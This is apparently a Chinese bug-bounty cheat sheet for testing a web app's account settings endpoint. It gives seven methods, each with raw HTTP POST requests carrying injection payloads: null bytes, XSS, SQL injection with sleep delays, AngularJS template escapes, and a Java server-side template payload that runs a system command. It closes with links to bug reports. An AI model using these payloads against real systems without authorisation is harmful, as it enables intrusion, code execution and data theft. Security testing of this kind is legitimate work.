正文
本系列主要讲的是设置这个功能的测试,虽然不同的厂商设置这个功能不太一样,但是大体上是一样的,好了,下面开始
第一种方法
尝试在电子邮件，用户，密码或电话中注入Null,空值或者%00,响应中可能会发生奇怪的事情
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number email , user , pass OR phone=null&token=CSRF
第二种方法
在用户名中尝试注入 '"><svg/onload=prompt('XSS');>{{7*7}}来检测是否存在SQLi , XSS , SSTI 或者 CSTI
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number user , name='"><svg/onload=prompt('XSS');>{{7*7}}& token=CSRF
第三种方法
尝试在用户名中注入SSTI的Payloads: {{7*7}} , {{ '7'*7 }}或者 {{ this }},可能会有一个RCE在等着你==
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number user , name={{7*7}}&token=CSRF
第四种方法
尝试在用户名中注入以下SSTI的Payloads:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance(). getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
可能会有RCE==
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number user={{'a'.getClass().forName('javax.script.ScriptEngineManager'). newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"netstat\\\");org.apache.co mmons.io.IOUtils.toString(x.start().getInputStream())\")}} &token=CSRF
第五种方法
尝试在用户名中注入以下CSTI的Payloads:
{{'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}}
可能会发现一个XSS
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number user , name={{'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}}&token=CSRF
第六种方法
尝试在用户名中注入SQLi的payloads,比如' or sleep(20)' , -IF(1=1,SLEEP(20),0) AND id='1 OR ' waitfor delay '0:0:30'--
可能有个高危在等着你哦
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number user , name=' or sleep(20)'&token=CSRF
第七种方法
尝试在用户名中注入XSS的payload：
<svg/onload=alert('XSS')> OR <script>alert(document.domain);</script>
POST /setting HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number user , name=<svg/onload=alert('XSS')>&token=CSRF
参考
https://speakerdeck.com/aditya45/abusing-functions-for-bug-bounty
https://verneet.com/fuzzing-77-till-p1/
https://hackerone.com/reports/125980
https://gauravnarwani.com/injecting-6200-to-1200/
https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html
https://hackerone.com/reports/587829
https://hackerone.com/reports/150156
https://whitton.io/articles/uber-turning-self-xss-into-good-xss/
